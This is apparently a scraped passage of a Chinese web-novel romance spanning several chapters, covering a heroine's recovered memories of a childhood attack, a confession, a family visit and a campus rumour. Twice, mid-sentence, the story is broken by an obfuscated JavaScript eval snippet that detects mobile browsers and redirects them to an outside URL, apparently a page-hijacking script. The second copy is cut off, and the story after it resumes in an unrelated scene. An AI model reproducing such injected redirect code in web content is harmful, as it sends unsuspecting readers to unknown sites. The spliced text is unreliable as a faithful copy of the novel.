“周祈越!你脑子被驴踢了吧!”柠柠难得正儿八经地喊他的名字,臭着一张脸说:“小时候的玩笑话你当什么真啊!我巴不得离你远远的呢。” “......” “要是我,我要肯定去海云市,在那里能很多有趣的朋友,然后把你忘得一干二净!” “......” 周祈越听得一愣一愣,亦或者被她骂懵了,“小柠檬,我又怎么惹你了?” 柠柠表情很严肃,跟以往都不同,不是小女孩在胡乱发脾气,像是突然间长大了。 “周祈越,你这个讨厌鬼,我非常讨厌你。” “我讨厌你喊我小柠檬,一点都不好听,难听死了。” “我讨厌你总是一副大学霸高高在上的样子,让我在奶奶面前难堪。” “越长大我就越希望,你离我远点!” 柠柠发狠地说完,跑回家,往后上下学跟同桌一起,甚至连周末写作业也不找周祈越了。 两个人是彻底决裂了。 中考报名截止那一天,八卦的同学揭晓最终谜底。 “惊天新闻!周祈越报了海云一中!” “卧槽!海云市嘛,我也好想去大都市啊,好多明星出没的地方。” “咱这小破镇要是能出一个考上海云一中的,校长一定当众跳舞。” “哈哈哈哈哈。” 柠柠呆呆地趴在桌上,设想着未来。 周祈越中考完就去海云市了,离她远远的。 以后他们再也见不了面。 彻底成为陌生人。 “你怎么了?”同桌看她的眼泪晕染了作业本,“起来,我们出去聊。” 柠柠和同桌经常来教学楼前的小花园聊天。 憋了好久的心事,分享给了同桌。 “夏柠,你其实不想他走对不对,”同桌边给她递纸巾边说,“但又觉得他应该去更好的地方。” 柠柠匪夷所思:“你怎么知道?” 同桌嘿嘿一笑:“偶像剧都是这样演的。” 柠柠:“......” “有我没我,他都会走的。”柠柠擦干眼泪,眼底漆黑,“我们俩本来玩得就不好,经常吵架,我才不重要。” 爸妈如此,其他人也如此。 在任何至关紧要的时刻,她都是一个随时随地会被抛弃的选择。 - 四月份是个阴云连绵的季节,4月22日是柠柠的生日,天气突然大好。 往年奶奶会给她买生日蛋糕,现在奶奶记忆力严重衰退,自然不记得。 柠柠也没放在心上,过不过都无所谓。 当天早上,柠柠和奶奶正在厨房做早饭,周爷爷和周奶奶前来拜访,拿着一沓文书道贺。 “夏奶奶,跟你说个好消息,我把你们家的情况投给了一个基金会,”周奶奶简明扼要地说,“以后这基金会会支援你治病,也会供柠柠读书到大学毕业。” 柠柠和奶奶眼睛一亮:“真的吗?!” 周爷爷点头附和:“真的真的!” 这应该算是最好的生日礼物了吧。 晚饭后,镇上的广播吆喝着有京剧班子巡演,街坊邻居们纷纷结伴去广场凑热闹。 彼时,柠柠收拾好碗筷,回到屋里带着奶奶学做手指操,这是医生推荐的康复训练。 “奶奶,无论你去哪,千万不要丢掉脖子上的名牌,”柠柠把牌子给她戴上,“找不到回家的路,就找警察叔叔,以后也不要乱跑。” 夏奶奶乖巧点头:“知道了知道了,我现在不是没忘吗?” 柠柠:“那我问你,我叫什么名字啊?” 夏奶奶想了三秒,点了下她的鼻尖:“小柠檬。” 柠柠下意识想到周祈越,如今连奶奶也被带偏了,“......行吧,也算对了。” 做完手指操,柠柠正问奶奶想不想去看京剧。 几乎是猛然间,院子里的铁门被敲得砰砰响,仿若雷劈声,急促而凶猛。 祖孙俩先是一惊,巍巍颤颤从屋里探出头,已经有人翻墙而入,打开了院子的铁门。 紧接着一群男人个个手持棍棒,闯进正屋。 一个壮汉大吼:“夏磊呢?夏磊在不在?!” 奶奶急忙将孙女抱在怀中,强装镇定:“他不在,好多年没回来了。” “死老太婆,你骗谁呢!”壮汉破口大骂,手中的木棍支在茶几上,“我可打听过了,他前不久回来了。” 柠柠缩在奶奶怀里,低声道:“他真的不在,又跑了。” “跑了?!” 另一个男人说:“他欠我们的钱还没还,你们俩补上,五十万。” 奶奶愁眉苦脸道:“我们哪有五十万啊。” “没有?”男人呵笑一声,抄起棍子一挥,瓷碗落地。 “给我砸,把他们家搜干净!” 五个男人将家里砸个天翻地覆,总共也就在枕头底下搜到几百块钱,作势不满。 “真磕碜!”壮汉贼眉鼠眼地看着小女孩,恐怖如斯地笑了下,“这位就是夏磊的女儿吧。” “你们说,绑她会不会把夏磊逼出来?” “......” 奶奶顿时急了,抱紧孙女,“他那个没良心的,根本不顾我们的死活,你们威胁不了他。”说着言词卑微:“求求你们,不要为难我们一家老小了。” “为难?”壮汉极为凉薄地说,“您儿子可把我们兄弟俩害惨了,坑了我们五十万,现在倒好,找不到人影了。” 有人提议:“我看把她女儿卖了抵债也行。” 其他人一致同意,一群地痞流氓直接上手抢人。 夏奶奶不肯松手,发疯了般去打他们,一时间屋内争议不断,小女孩哭得声音嘶哑。 “砰”的一声,夏奶奶被推到,额头撞在桌角,躺在了地上,鲜血直流。 “奶奶.....呜呜,奶奶.....”柠柠想去扶奶奶,壮汉粗鲁地攥住她胳膊,整个人被拖着往外走,“你们这些坏蛋,放开我。” 周祈越在超市买了许多烟花,想趁晚上陪她庆生,黑灯瞎火地走了一路,好不容易看见点光亮,就是五个男人把她拖出来的场景。 他二话不说掏出火机,将买来了的鞭炮点燃,往那群人身上扔。 五个男人被偷袭得措不及防,陡然松开了手,紧接着又是各种烟花往他们身上扔,顷刻间,四周烟雾缭绕。 那群人咳嗽声不断间,一只温热的掌心抓住了她,柠柠还没来得及看清他的脸,周祈越边说边拉她跑,“跟我走。” “那小丫头跑了,快追上。” 那个夜晚的风嗖嗖吹在耳边,女孩浑身发冷,唯有被他握住的手热乎乎的。 她被他带着一路狂奔,穿越乡间小路,被那群人逼到了他们最常去的海边。 他们累得上气不接下气,跑到岩石后面躲着,两人刚蹲下,天空飘起了雨滴。 柠柠捂着嘴不让自己哭出声。 奶奶怎么办,她流了好多血,会不会死。 她好害怕,真的好害怕。 周祈越的发梢淌着水,定定地看着她,从口袋里掏出一只手环给她戴上。应该是送她的生日礼物。 一道粗哑的嗓音传来:“死丫头跟她爹一样狡猾,看我不弄死她!” “你们去岩石那边看看!” 此言一出,柠柠听到了靠近的脚步声,浑身都在发抖。 周祈越揽着她肩膀,食指放在唇中央,打了个噤声。 让她好好待着,不要说话的意思。 周祈越从岩石另一边绕过去,趁着黑夜视线盲区,扔了颗石子偷袭男人,那男人立刻转回头,跑过去追他。 他一个人怎能抵得过五个壮汉,最终被抓住,也没乱吼乱叫。 “哟,刚刚就是你往我们身上扔炮的对吧?”壮汉揪住他的耳朵,周祈越两只手臂分别被人抓住,他就腾出脚踢男人,“你们这些流氓,警察一定会把你们抓起来的。” “警局啊,我们哥几个经常去。”壮汉也不废话,朝兄弟俩使个眼神,“把他丢海里。” 当晚海边的月亮足够圆,飘着淅淅沥沥的小雨,海水的浪潮层层翻滚,一次比一次强烈。 柠柠从岩石后面探出头,亲眼看着那群人把周祈越扔进海里。 她瞳孔冒出红血丝,整个人快要发疯,感觉天旋地转。 直到一棍子彻底将她打晕。 ...... 此时此刻,这片海域一如当年以前,灰蒙的天似有闷雨而落,海浪拍打声无比清晰。 陈夏柠双腿瘫软在沙滩上,大口喘着气,心跳如雷,浑身发抖。 代入小时候的自己。 她看见奶奶流的血,看见周祈越被扔进海里。 那股恐惧包裹着她,压得她喘不过来气。 她记得再次醒来后,已经是在医院,头上包着白纱布。 医生给她做检查,跟警察汇报:“她头部受到重击,初步诊断为脑震荡。” 警察叔叔问:“你叫什么名字呀?” 她愣了许久,茫然地摇摇头。 护士想起了什么,把她的手环拿过来,“你们看,这手环上有两个字,夏柠,应该是她的名字。” “你还记得爸妈,自己的家在哪吗?” 柠柠继续摇头,大脑一片空白,只要一回想头就疼得厉害。 ...... 回忆到这里,陈夏柠模糊的视线重新聚拢,望着眼前的海水,那股恐惧和不安慢慢被打散,一点点被现在的自己战胜。 等她冷静下来,手掌按着沙滩,站起身,踉踉跄跄地往回走。 差不多走了十三步,周祈越风尘仆仆地跑过来,两人对视一眼。 陈夏柠眼角通红,明显是大哭了一场。 男人阔步走上前,一把将她拥在怀里。 陈夏柠眼角一酸,额头靠在他肩膀,像小孩子一样哇哇大哭了起来。 那时候她才十三岁,经历了太多失去,生命中最重要的两个人只有奶奶和七月。 他们却在同一天遭遇不幸,为了救她。 她没有办法接受这样的事实。 那些曾经忘记的,不是因为不重要了,恰恰是因为,实在太重要了。 97. 周姑娘 海边正滴着雨。 一时间周祈越也不知能说什么安慰话,旋即将她的脸埋在自己胸膛,双手放在她前额做遮挡动作。 见状,陈夏柠收敛了几分情绪,带着鼻音讷讷道:“我们回去吧。” 周祈越挑着眉,戏谑道:“不再多哭会儿?” “......” 陈夏柠后退半步,擦了擦脸颊的水,扯了个题外话:“饿了。” 周祈越轻笑了下,脱掉冲锋衣外套给她,而后蹲在前面,还未等他开口,陈夏柠已经趴在了他后背。 周祈越两只手勾着她双腿,起身,背着她往沙滩出口的方向。 陈夏柠两手撑着他的外套举过头顶,当成伞一样供两人遮雨。 “你怎么来的?” 周祈越没着急赶雨,正常走路的速度,漫不经心道:“买不到票,自己开车来的。” 春运都是元宵节过后才结束,陈夏柠一股脑热打开购票APP,也是误打误撞地买到了票。 如果他是开车来的,从海云市到青源镇起码得五个小时,但现在高速公路堵得很,周祈越的实际路程可想而知。 想到这,陈夏柠愧疚不已:“对不起,又让你担心了。” “你知道就好,”周祈越嗓音低沉,语气骄傲,“对不起收回去。” 远离海边的一路,乌云飘散,雨水细如蚕丝,在太阳光线中蒸发。 陈夏柠收好外套左手拎着,右臂环在他脖颈,脑海里萦绕那些画面,哽咽了一下:“七月.....我没觉得你讨厌——” “其实也很喜欢小柠檬这个名字。” 周祈越脚步一顿,轻嗯了声。 “我那个时候说那些话,都不是真心的。”陈夏柠吞咽了下,想起那个外人眼里优秀的周祈越,“我很佩服你,总能静下心来刷完一套又一套试卷,备战中考时熬夜苦读。” “你那么努力,就该去更好的地方,成为更好的自己。” “而不是因为跟我的约定,放弃去海云一中,这样实在不值得。” “我知道。”周祈越淡淡应声,当时年纪小,听到那些话,下意识是难过的。 可事后冷静想一想,小柠檬什么性格他还不了解么,总爱口是心非。 陈夏柠追悔莫及,明明有更好的方式,而她却选择了最粗鲁伤人的一种,踩踏他的骄傲。 “七月,我其实......”陈夏柠眼眶一热,一滴滚烫的泪掉落他脖颈,“早就喜欢你了——” “在不知道什么是喜欢的年纪就开始了。” 周祈越身体一僵,星光似的瞳孔像是忽地璀璨,缓缓偏头瞧她。 陈夏柠很难受曾经那么嘴硬,此刻是很想坦白,告诉他,其实他的喜欢不完全是单向的。 “初次见面时,我觉得你长得特别漂亮,即使被拒之门外,我还是忍不住想跟你做朋友。” “漂亮?你这是在形容姑娘么。”周姑娘轻扯了下唇角,拿腔拿调道,“原来你小时候和现在一样,贪恋我的美色。” “......”陈夏柠眼泪流着呢,就这么被硬生生逗笑了一下。 随即拉回正题:“但我小时候长期没朋友,所以不知该怎么和你相处,我把对班里那些男生凶巴巴的样子也展现给了你。” “你拎着书包走的时候,我又气又难过,更多的是气自己。” “我以为你会跟别人一样再也不理我了,但你不仅回来了,还跟我道歉。” “同学们都嘲笑我没爸妈,是孤儿。” “只有周七月会挺身而出,站在我这一边保护我。” “我那个时候就在想,要和七月永远在一起。”说到这,陈夏柠抽了下鼻子,“虽然小时候也不知道永远有多远。” 毕竟我们总在不懂事的年纪许下永远二字,就像七月和小柠檬永远不分离的约定。 在成年人的世界里,只会被视为幼稚和可笑。 走了一路,暮色将至,周祈越边听她说着,边点头嗯几声,倒也没再多说。 值不值得是他说了算。 反正他这么多年,都在固执地遵守那个约定。 永远有效。 眼瞅着快到家门口,周祈越的衣领都被她哭湿了,属实无奈。他一出现,这姑娘的眼泪跟水龙头似的止不住了。 “别哭了成不,等会爷爷奶奶看见,肯定以为我欺负你了。” “......”陈夏柠擦了擦眼,从他身上下来,回到家赶紧洗个脸,生怕周爷爷周奶奶看出痕迹。 难得家里一下子热闹起来,两位老人乐呵呵地做了一桌的饭菜。 饭桌上,大家心照不宣地不提伤心事,而是话一些家常。 周祈越一边给爷爷奶奶夹菜,又一边给自家姑娘夹菜,成为饭桌上最忙碌的人。 夫妇俩饭量不多,没过一会儿停筷子,颇为欣慰的眼神打量他俩。 昔日跟在他们身后的两小孩,如今已然长大,还成为了情侣,以后陈夏柠就是他们的孙媳妇了。 周映容提议:“你们工作忙不忙,要不先在这住几天,等元宵过后再走?” 陈夏柠还没找到工作,自然是不忙的,眼睛骨碌一转,看向周祈越,他欣然应声:“行啊,就当我俩在镇上散散心。” 周从谦想起了什么,猛地起身,“对了,还没给柠柠收拾屋子,二楼除了祈越的房间,另一个屋我放了很多杂物。” 这栋小洋楼分为两层,爷爷奶奶住一楼,二楼是两室一厅一卫。周祈越的房间在二楼,爷爷奶奶一直给他留着,方便他过年回来的时候住。 周祈越摆手示意爷爷坐下,忙说:“没事,一个房间就行。” 此言一出,周从谦和周映容瞪大眼睛,眼风来回在两人流转。 陈夏柠头皮发麻,急忙找补:“他的意思是说,他可以打地铺。” 周祈越:“......” 周从谦坐了回去,给他一个恩赐:“地上凉,客厅的沙发可以给你睡。” 周祈越:“......” - 晚上,陈夏柠躺在他房间,熄灯后辗转反侧,感觉夜晚极为漫长,怎么都睡不着。 她起身下床,轻手轻脚地去客厅,谁知周祈越也没睡着,先出声:“还没睡?” 陈夏柠闷声嗯了下:“有点头疼。” 周祈越掀开被子,起身打开灯,把她拉到沙发上坐着,抬手给她揉太阳穴。 “是不是又在胡思乱想?” 陈夏柠坦诚说:“今天想起了很多事,也有很多疑问。” “七月,当年你被那些人扔到海里,是怎么逃生的啊?” 周祈越慢条斯理地说:“我游泳很厉害的,以前镇上跟我们一起玩的小胖,他掉海里就是我救上来的。” 那晚的经历只能说他命大。 周祈越先是被浪潮卷入海中,憋着气使劲往上游,海面很快归于平静,恰好碰上归海的渔船,李伯伯听到呼救声及时救了他。 “但等我上岸后,那些人和你,都不见了,岸上只有你的鞋子。” 周祈越目光沉沉,手指移到她后脑勺按摩风池穴,边说:“当年警察和镇上的居民都说,你被大海冲走了,但我不信,总觉得你还活着,后来真的找到你,但你已经是陈家的千金了。” 陈夏柠想了一下,迷迷糊糊地说:“我也不知道中间发生了什么,在医院醒来后什么都不记得了,只有塑胶手环上面有夏柠两个字,护士说应该是我的名字。” “后来一对夫妇闯进病房,就是我的养父母,他们当着警察的面说我是他们的女儿,刚带我回国就不小心走丢了。” “他们还说,我的全名叫陈夏柠......然后就把我带回陈家了。” 周祈越眉头紧锁,联想陈之夏说自己小时候在新加坡和亲生父母走散的事。 也就是说,陈京辉和萧婷明知柠柠不是他们的亲生女儿,还在乱认人。 陈夏柠转过身跟他面对面坐着,“七月,那个手环是我的生日礼物么?怎么会有我的名字?” 周祈越总喜欢捏她软绵绵的指尖,一下又一下地把玩着说:“当年夏奶奶不是生病了么,我去集市上看见有人卖橡胶手环,可以现场刻字,我就想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15330961|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给夏奶奶买一个,在上面刻上她的名字和家里的联系电话。” “就觉得那手环好看,想着你背书那么差记性也不好,顺便给你也买了一个,以防你也丢了。”像是某种预言,结果当晚柠柠就丢了。 “......” 他这份贴心真就是从小就有,陈夏柠纳闷道:“那为什么我的手环上只有名字,没有联系方式呢?” “因为当时买了很多烟花,兜里的钱不够了,那老板说要刻数字,要再加钱,所以你的手环只有名字。” 周祈越自己想想都觉得可笑,他要是知道这手环真能起作用,那个时候他一定把烟花退掉,也得让那手环具备所有能给到的信息。 陈夏柠对视着他的眼睛,再次感受到先前那股奇怪的情绪,有时候看见周祈越,心里既开心又酸涩。 庆幸他们重逢又相爱,也遗憾他们错过了十三年。 像是冥冥之中早已注定,真正喜欢过的人,再次遇见依然会心动。 周祈越看她一副又要崩眼泪的架势,一把将小姑娘揽入怀中,轻拍她后背,拙劣地安慰她:“怎么,今晚不睡了,要我陪你在这哭一夜?” “......”陈夏柠瓮声瓮气道:“那我一个人睡不着嘛,你陪我睡。” 周祈越的床并不宽敞,更像是单人床,两人躺上去实在避免不了肢体接触。 关键陈夏柠肆无忌惮地往他身上贴,周祈越伸出臂弯让她枕着,她今晚睡觉压根不老实,双手双脚都在他身上。 很长一段时间,她与人相处总是保持距离感,也因为厌男,讨厌跟异性有任何肢体接触。 现在却完完全全把他当成泰迪熊一样紧紧抱着,如胶似贴。 周祈越勾唇笑了笑,陈夏柠好像一下子返老还童,变成了折腾他的小女孩。 记得小时候,别人总爱叫她假小子,她真就活成了男孩性格。两人熟悉后,柠柠把他当成好哥们一样对待,甚至缺少男女有别的边界感。 那个夏季,两人在房间里写着暑假作业,天气燥热,周祈越把风扇打开。 柠柠眼皮子直打架,双手托腮支着下巴,困得不行了,压根写不下去一个字。 周祈越松口:“行了,你要是困就睡吧。” 她生怕他反悔,赶紧扔下笔,挪开凳子起身,直接往他床上扑,趴在上面。 周祈越瞳孔发大,惊了一下:“你....你这样睡?” 然后柠柠翻了个滚,面对天花板闭上眼,四肢伸张继续睡。 周祈越:“......” 你....你占据了我床! 周祈越又气又无语,她怎么这么嚣张,还霸占他的床。 过了一会儿,他也困了。 桌板太硬,他回头看一眼柠柠,理直气壮地回床上睡,躺在她旁边。 小女孩一个翻滚,跟他脸对脸,皮肤白里透红,睡觉的样子难得乖巧极了。 周祈越望着她,彻底没了睡意,反倒盯着她的脸,有一种想亲她的冲动。 ...... 有他在身边,陈夏柠这一夜睡得不错,八点就自然醒了,晃了晃周祈越的胳膊,他不为所动地继续睡。 她起床的动静惊到了他,这人带着极大的起床气,重新把她摁回床上,蒙上被子。 “我睡不着了。”她探出头瞧他,“你怎么这么困?” 不说还好,周祈越瞬间又来气了,睁开眼,干脆也不睡了。 下一秒,他长腿一迈,整个人压在她身上,一手钳制住她两只手,一手掀开她衣摆挠痒痒。 “啊,你干什么。”陈夏柠瑟缩了一下,奈何根本躲不了一点,“别闹了,好痒啊。” 周祈越此刻十分恶劣,分别捏住她两颊,皮笑肉不笑:“趴在老子身上一整晚还不能碰,你可真会折磨我。” “……” 陈夏柠顿时噎住,主动仰头碰了一下他的唇,眼巴巴地求饶:“我错了。” 周祈越丢盔卸甲般松开了她手,改去捧她脸,尽情地掠夺她的呼吸,“晚了,亲到我满意才行。” “……” 98. 高跟鞋 家里增添了两双筷子,周从谦来了兴致想秀一秀自己的厨艺,早饭后让周祈越跟他去镇上买几斤猪肉牛肉。 周祈越见爷爷把电动车从棚子里推出来,阔步走上前,“我带您吧。” 周从谦一屁股坐在前座,眼尾扫他:“干什么,当我老了带不动你了?你穿开裆裤的时候都是我带的你,你爷爷永远是你爷爷。” 周祈越:“.......” 陈夏柠在一旁憋笑,周映容也哭笑不得,这老头子最怕别人嫌他老,嗔怪他一句:“你这老头子咋这么敏感,你孙儿那是体恤你,别好心当驴肝肺。” 周从谦咧咧嘴不说话了,别扭了几下,才往后坐,给孙子腾位。 周祈越坐上去,下意识看她一眼,“想吃什么,给你带。” 陈夏柠勾唇一笑:“你看着买吧,我都可以。” 周祈越收回视线,拧动把手,电车驶出大门,周从谦一巴掌拍在他后脑勺,“慢点,你想摔坏我这把老骨头啊!” “.......” 陈夏柠再次目瞪口呆,周爷爷跟老小孩似的难伺候。 她好像看见周祈越老了的样子了。 外面天气晴朗暖和,陈夏柠帮周奶奶去屋里把椅子和桌子搬出来,两人坐在院子里边晒太阳边吃水果嗑瓜子。 周奶奶还把没织完的毛衣拿出来,陈夏柠帮她理毛线,“奶奶,怎么想着自己动手织毛衣啦?” 周映容戴上眼镜,手中的直针配合得十分娴熟,悠悠道:“快要开春了,那老头子总嫌弃实体店里的衣服穿得不合身,我就寻思按照他的身形织一件毛衣。” “你说说,他这人怎么这么挑,难伺候得很。”奶奶口中是抱怨着,可眼角分为是弯着的。 陈夏柠:“奶奶,您分明是心甘情愿为爷爷织毛衣的。” “也就我能受得了他。”周奶奶哼哧一声,望着手中的毛衣想起陈年往事,“说起来,我跟他认识还就是因为毛衣呢。” “我们那个年代的衣服简单朴素,他是我大学同学,经常穿一件黑色的毛衣,我的墨水不小心弄他身上了。我笑着说,刚好墨水和你毛衣的颜色一样,不碍事。” “他说不行,你得给我重新织一件。可惜我手艺不好,织了一件歪七扭八不合身的给他,他偏偏说,好看。” 周奶奶摇头叹气,哼笑:“后来我们结婚了,他坦然承认,他就是故意往我桌上凑,让我的墨水打翻他身上的,这老头子真是.......” “.......” 哇,爷爷还是个心机boy啊。 陈夏柠着实被爷爷奶奶的故事甜到了,露出一双羡慕的眼睛:“奶奶,您和爷爷的感情真好,嗯.....就像电视剧里演的那种,白头到老,恩爱夫妻。” “等你老了也是这样。”周奶奶觉得她不必羡慕,身边有个现成的,自顾自地说,“祈越这孩子疼媳妇的本领不知道从哪学的,打小就开窍了,大费周章地给你和夏奶奶找基金会.......” 陈夏柠怔了一下,捡起记忆后,不是没有怀疑过这件事——当年周爷爷和周奶奶前来告知喜讯,有基金会愿意帮奶奶治病,还资助她到大学毕业。 小时候不懂,可现在长大了,自然明白哪有什么天上掉馅饼的事。 “奶奶,当年资助我的基金会是怎么回事啊?” 周映容手上的动作一停,察觉不对劲,“我还以为你知道了呢。” 当年,柠柠一番痛骂他,周祈越心里也有气,青春期的傲气作祟,很难像小时候那样厚脸皮地往她身边凑。 爷爷奶奶都看出来两人闹别扭了,问他怎么回事,他就跟木头一样拒绝交流,只是把自己封闭在房间刷题。 这种状态持续了两周,中考报名快要截止了,爸妈、爷爷奶奶以及班主任隔三差五地就问他改志愿了没。 家长们这边着急上火,不容置喙地让他报海云一中。 在报名截止的前一天,周祈越当着爷爷奶奶的面给爸妈打了一通电话。 “让我回去可以,但我有个条件。” 林淑当即应声:“什么条件我们都答应你。” “我最近查了很多海云基金会的资助要求,你们帮忙对接,”周祈越有条不紊地说,“我期待的结果是,夏奶奶治病无忧,她的孙女将来能大学毕业。” 这是林淑和周闻清第一次听说夏奶奶和孙女的事,也十分震惊电话那边儿子的口吻,小小年纪就在跟他们谈判了。 周祈越平平淡淡地补充:“如果你们不同意,或者只是暂时糊弄我,就算我考上海云一中,我也会回来复读。” “......” 这根本不是什么难事,周闻清一口应下,就算没有基金会愿意接济那祖孙俩,他们家资助也行。 只要儿子能回来就行,毕竟他们已经亏欠周祈越太多了。 好在周闻清动用多方关系,争取到了资助名额,好消息在柠柠生日的当天早上传来。 “我记得他当时可高兴了,”周奶奶兴味盎然地说,“他激动地推着我俩去赶快去你们家告知喜讯,自己乐呵呵地跑到集市上要给你挑选生日礼物。” 陈夏柠十指交叉紧握,浑身紧绷,听得很入神。 如果当年她和奶奶也跟着街坊邻居一起去看京剧,那么是不是就会躲过一劫。 她和奶奶都会无恙,还能有机会去海云市求学,能时常见到周祈越。 而不是现在这样。 陈夏柠仰起头看了下太阳,眨了眨眼,平复好情绪,凑到周奶奶跟前,“奶奶,您也教我织毛衣吧。” “好啊。”周奶奶分给她一双直针,“来,我教你。” 周祈越和爷爷逛街战果累累,回来的时候电车载得满当当,不知道的还以为他俩是卖菜的呢。 他俩忙着卸货进厨房,周奶奶和陈夏柠埋头钻研针线,没顾得上帮忙。 收拾完毕,周祈越从厨房里出来,捞起凳子强行加入她俩的世界:“怎么想着织毛衣了?” 周奶奶脱口而出:“你媳妇想给你织衣服穿。” 周祈越挑眉,直勾勾的眼睛锁住这姑娘,顺着杆子往上爬:“我媳妇真乖。” 陈夏柠羞赧得脸热,嘴硬道:“奶奶,我可不是他媳妇。” “是嘛。”周奶奶觑着他俩,倒是直爽,“昨晚你们房间的动静,我在楼下可听得一清二楚。咋滴,两人半夜躲猫猫啊。” 陈夏柠:“......” 周祈越:“......” 如果有地洞,陈夏柠一定第一个钻进去! “大作家!”厨房里的周爷爷大喊一声,“快过来帮忙!” “来了!”周奶奶放下手边的活,走之前顺手拍了下周祈越的头,“臭小子,没结婚前老实点听到没!” 周祈越:“......” 到底谁不老实啊。 您孙子是被占便宜的那个好吧。 陈夏柠简直要没脸了,只想逃离现场,硬生生被拉了回来。 周祈越将背在身后的左手伸出来,掏出两朵向日葵,没什么情绪道:“给,顺手买的。” 陈夏柠接过手,嘟了下嘴:“钢铁直男,连包装都没有。” 周祈越瞪她一眼:“这不方便你种瓜子么。” 柠柠从小就喜欢向日葵,非常热爱,见到长满向日葵的地方就蹦蹦跳跳地扑过去。 原因是什么呢。周祈越问她。 她说:“好看,还能嗑瓜子。” 周祈越:“......” 她小时候喜欢什么都是跟吃有关。 周祈越总爱欠揍地提醒:“说不定哪天早上看见你,呀,小柠檬变成小胖妞了。” “......” 陈夏柠弯唇笑了笑,露出一截皓齿,而后瞳孔泛起泪花。 “又怎么了。”周祈越好笑地看她,抬起手,大拇指拂过她眼角,“还能把自己笑哭啊。” 陈夏柠视线蒙上一层雾气,模模糊糊地看着眼前这个男人。 似乎看见了十七岁的周祈越。 那个闷热的下午,他穿着厚重的哆啦A梦服装,给她送向日葵。 他一直都知道。 小柠檬脾气很臭也很好哄,一朵向日葵,或者一颗柠檬糖。 多幸运,这些微不足道的点点滴滴,还有人为你记得。 - 元宵结束,各行各业均已复工,周祈越开车带她离开青源镇。 昨晚陈夏柠和爷爷奶奶玩牌玩太晚,坐上车就倒头补觉去了。等她再醒来,车子已经驶入海云市了。 周祈越戴着airpods在打电话,她闲来无事浏览着各大高校招聘公告,海云市真是有一种让无业游民自觉的魔力。 周祈越掐掉语音,往她那方向瞟了眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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刹那间,裴青寂握紧拳头,停住脚步,胸腔的那股气爆发:“行,来啊,我跟你打!” ...... “非常抱歉,陈老师,鉴于你上份工作的经历,我们恐怕不能聘用你,请你另谋高就吧。” 陈夏柠徒步走回去,反复回顾这句话,不知不觉到了海天宜城门口,她吐出一口气,把简历塞进包里。也没有太失落,毕竟早有心理准备。 往闸口进的时候,保安拦住同样往里面进的男人。 “先生,您不是这里的住户吧?” “对,我来找一个朋友。”男人嬉皮笑脸地讨好保安,“您通融一下行么?” “不好意思,我们这边有规定,非本小区的住户禁止入内,您还是让朋友下来接您吧。” 去年陈慧棠来闹过事,陈夏柠专门向物业反馈过,物业承诺以后定会加强安保。 陈夏柠刷脸进去,瞥见男人表情为难,因为着急暴露了来意:“我其实是来找朋友道歉的,我目前没有他联系方式。” 保安顿时警觉,态度强势:“先生您要再纠缠,我就喊人了。” 陈夏柠没再听下去,赞叹保安还挺尽职尽责。 回到家已经是下午一点,她不是很饿正想打电话问周祈越回不回来吃饭,她再决定要不要做饭。 电话还没拨过去,却先看见客厅茶几上一个银光闪闪的礼物盒。 哦,想起来了,走的那天是情人节。 这肯定是周祈越送给她的情人节礼物。 她迫不及待地把盒子拆开,是一双黑色高跟鞋,高贵大气,刚好可以搭配那条黑色礼服。 陈夏柠试穿了一下,很合脚也很舒服。 除此之外,桌上仅有一朵红玫瑰,高跟鞋内底上也印刻着一行字—— youaremyuniquerose. 陈夏柠自然懂得这句话。 小时候周祈越最喜欢读的书是《小王子》。 其中有这样一句话—— Maybetherearefivethousandrosesintheworldandyouthesameflower,butonlyyouaremyuniquerose. 也许世界上也有五千多和你一模一样的花,但只有你是我独一无二的玫瑰。 99. 沾花惹草 刚开学加上周一上午,同学们压根没收心,一个个低着头伏在桌板昏昏欲睡,讲台上站着的是林清模。 上学期大家还忌惮他是院长,认真听讲,后来摸清林院长的好脾气,学生们干脆也不装了。 林院长上课就跟老书生唱催眠曲一样,平日就两个班长捧场,今天池一舟请假,只有裴青寂,他人正在老师眼皮子底下。 “裴青寂,你来回答这个问题。” 果然。 大家心声一致。 裴青寂站起来整个手足无措,想翻书查看,发现带错书了。 林清模愁眉苦脸,自嘲道:“裴班长啊,连你都开始敷衍我了。” “......” 讲台下响起窸窸窣窣的笑声。 林清模没发脾气,平淡地扫视每一个学生,但那眼神意味深长,大家顿时消了音。 裴青寂笔直地杵在座位,目光无神,像是被抽走了魂魄。 林清模正要示意他坐下,倏忽,整间大教室的气压高涨,后排某个男生拍了下前排的女生,然后大家伙纷纷拿起手机,交头接耳地议论起来。 裴青寂寡淡的表情这才起了微妙的变化,在各种声音中,松了一口气。 “这裴青寂什么来头啊,还能上微博热搜。” “咱学校真是从不缺新闻,隔三差五就能上头条。” “他怎么想着现在澄清啊。” “这声明可不可信呀,我对他喜欢导员这事持保留意见,毕竟陈老师长得漂亮,是个男的都会见色起意。” 林清模见这气氛压不下去了,见状也打开手机,弹窗直接推送话题#海大辅导员的后续来了!# 顶贴的有两个当事人,两条声明。 【大家好,我是该照片上的学生,特此开通微博做自证。 我的确是陈老师的学生,照片上的场景是在海大文艺楼,原定计划陈老师是元旦晚会的主持人,我和同学参与学院的大合唱。 那是元旦的前一天,我负责给主持人准备鲜花,以备第二天录制节目使用,当时去学校附近的花店比较晚,只有玫瑰花了。 我买完后去文艺楼,撞见收工的陈老师,就跟她打了声招呼。 于是就有了照片上我捧着玫瑰站在陈老师面前的场景,我实在没想到一个照片会被解读成这样。 陈老师是一位值得尊敬的导员,她在我们的生活学习上扮演着知心姐姐的角色,不止我喜欢她,其他同学们也都很喜欢她。 